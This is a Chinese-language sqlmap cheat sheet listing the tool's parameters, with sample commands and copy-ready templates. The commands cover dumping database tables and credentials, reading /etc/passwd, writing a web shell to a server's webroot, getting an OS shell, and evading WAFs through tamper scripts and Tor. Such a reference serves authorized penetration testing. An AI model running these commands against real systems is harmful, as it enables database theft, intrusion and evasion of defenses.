sqlmap 完整命令与参数大全(2026 权威速查版)
·
📘 sqlmap 完整命令与参数大全(2026 权威速查版)
✅ 说明:
- 所有参数均基于 sqlmap 最新 GitHub 版本(v1.8+)
- 按功能分类,标注【必用】、【进阶】、【高危】
- 带
*表示最常用,建议优先掌握
一、目标指定(Target)
| 参数 | 说明 | 示例 |
|---|---|---|
-u, --url * |
指定目标 URL(GET 注入) | -u "http://site.com?id=1" |
-r * |
从文件加载 HTTP 请求(支持 POST/JSON/Cookie) | -r request.txt |
--data * |
指定 POST 数据 | --data="user=admin&pwd=123" |
-p |
指定要测试的参数(多个用逗号分隔) | -p "id,token" |
--cookie |
设置 Cookie | --cookie="PHPSESSID=abc123" |
--random-agent |
随机 User-Agent | --random-agent |
-H, --header |
添加自定义 Header | -H "X-Forwarded-For: 127.0.0.1" |
💡 最佳实践:复杂请求一律用
-r+ Burp 导出,避免手动构造错误。
二、注入检测与技术(Injection)
| 参数 | 说明 | 示例 |
|---|---|---|
--technique |
指定注入技术(B=布尔盲注, T=时间盲注, E=报错, U=联合查询, S=堆叠查询, Q=内联查询) | --technique=BEU |
--time-sec |
时间盲注延迟秒数(默认 5) | --time-sec=3 |
--union-cols |
指定 UNION 查询列数 | --union-cols=5 |
--union-char |
指定 UNION 填充字符 | --union-char=1 |
--second-order |
二阶注入(如注册后在个人页触发) | --second-order="http://site.com/profile" |
⚠️ 默认 sqlmap 会自动测试所有技术,仅在需要提速或绕过时手动指定。
三、数据提取(Enumeration)【必用】
| 参数 | 说明 | 示例 |
|---|---|---|
--dbs * |
列出所有数据库 | --dbs |
--current-db |
获取当前数据库名 | --current-db |
-D DB |
指定数据库 | -D shop_db |
--tables * |
列出表 | -D db --tables |
-T TBL |
指定表 | -T users |
--columns * |
列出字段 | -T users --columns |
-C COLS |
指定字段(逗号分隔) | -C username,password |
--dump * |
导出数据 | -T users -C user,pass --dump |
--dump-all |
导出所有数据库所有表(慎用!) | --dump-all |
--search |
搜索特定字段(如含 password 的列) | --search -C "password" |
--common-tables |
猜解常见表名(当无法列出表时) | --common-tables |
--common-columns |
猜解常见字段名 | --common-columns |
💡 脱库核心流程:
--dbs→-D xxx --tables→-T users --columns→--dump
四、用户与权限(User / Privilege)
| 参数 | 说明 | 示例 |
|---|---|---|
--current-user * |
获取当前数据库用户 | --current-user |
--users |
列出所有数据库用户 | --users |
--passwords |
获取用户密码哈希(需权限) | --passwords |
--privileges |
获取用户权限 | --privileges |
--roles |
获取用户角色(Oracle/PostgreSQL) | --roles |
--is-dba * |
判断是否为 DBA(管理员) | --is-dba |
🔍 注意:
--passwords通常只能获取当前用户的哈希,且需高权限。
五、文件系统访问(File System)【高危】
| 参数 | 说明 | 示例 |
|---|---|---|
--file-read |
读取服务器文件 | --file-read="/etc/passwd" |
--file-write |
写入本地文件到服务器 | --file-write="shell.php" |
--file-dest |
指定写入路径 | --file-dest="/var/www/html/shell.php" |
⚠️ 前提:
- MySQL:需
secure_file_priv = ""(默认为空或受限)- MSSQL:需
xp_cmdshell开启- 现代环境几乎不可用
六、操作系统访问(OS Access)【高危】
| 参数 | 说明 | 示例 |
|---|---|---|
--os-cmd |
执行单条系统命令 | --os-cmd="whoami" |
--os-shell * |
获取交互式 OS shell | --os-shell |
--os-pwn |
尝试提权 + Metasploit 集成 | --os-pwn |
--os-smbrelay |
SMB 中继攻击(MSSQL) | --os-smbrelay |
❗ 成功率极低,仅用于教学演示。
七、绕过与规避(Evasion / Bypass)
| 参数 | 说明 | 示例 |
|---|---|---|
--tamper * |
使用 tamper 脚本混淆 payload | --tamper="space2comment,randomcase" |
--delay |
请求间隔(秒) | --delay=2 |
--timeout |
超时时间(秒) | --timeout=30 |
--retries |
失败重试次数 | --retries=3 |
--proxy * |
设置代理(Burp/Tor) | --proxy="http://127.0.0.1:8080" |
--tor |
通过 Tor 匿名 | --tor --tor-type=SOCKS5 |
--safe-url |
定期访问安全 URL 防封 | --safe-url="http://site.com" --safe-freq=10 |
💡 WAF 绕过组合拳:
--tamper="space2comment,charencode" --random-agent --delay=1 --proxy=...
八、会话与输出(Session / Output)
| 参数 | 说明 | 示例 |
|---|---|---|
-s, --session-file * |
保存/恢复扫描会话 | -s session.txt |
--flush-session |
清除会话文件 | --flush-session |
--output-dir |
指定结果输出目录 | --output-dir=/tmp/sqlmap_out |
--save |
保存选项到配置文件 | --save config.ini |
-v |
详细级别(0-6,默认 1) | -v 3 |
✅ 推荐:每次扫描加
-s session.txt,避免重复探测。
九、性能与优化(Optimization)
| 参数 | 说明 | 示例 |
|---|---|---|
--threads * |
并发线程数(1-10,默认 1) | --threads=5 |
--predict-output |
预测页面输出加速盲注 | --predict-output |
--keep-alive |
使用 HTTP 长连接 | --keep-alive |
--null-connection |
仅获取响应长度(提速) | --null-connection |
⚠️ 线程过高可能被 WAF 封 IP,建议 ≤5。
十、其他实用参数
| 参数 | 说明 |
|---|---|
--batch * |
非交互模式(自动 yes) |
--answers="quit=N,follow=N" |
自动回答特定问题 |
--list-tampers |
列出所有 tamper 脚本 |
--wizard |
交互式向导模式(新手友好) |
--identify-waf |
尝试识别 WAF 类型 |
--skip-waf |
跳过 WAF 检测(提速) |
附录:完整命令模板(可直接套用)
1. 基础脱库(GET)
python3 sqlmap.py -u "http://target.com?id=1" \
--dbs --batch -s session.txt
2. POST 注入 + 脱库
python3 sqlmap.py -u "http://target.com/login" \
--data="user=admin&pwd=123" \
-D app_db -T users -C username,password --dump \
--batch -s session.txt
3. Burp 联动 + 绕过 WAF
python3 sqlmap.py -r request.txt \
--tamper="space2comment,randomcase" \
--proxy="http://127.0.0.1:8080" \
--delay=1 --random-agent --batch
4. 盲注优化(无回显)
python3 sqlmap.py -u "http://blind-site.com?id=1" \
--technique=B,T --time-sec=3 --threads=3 \
--predict-output --batch
🌟 终极建议:
- 日常使用记住 8 个核心参数:
-u,-r,--dbs,--tables,--columns,--dump,--tamper,--batch- 高级功能仅在授权实验中尝试
- 永远先理解漏洞原理,再依赖工具
✅ 本参数大全完。可收藏为日常渗透速查手册。
更多推荐
所有评论(0)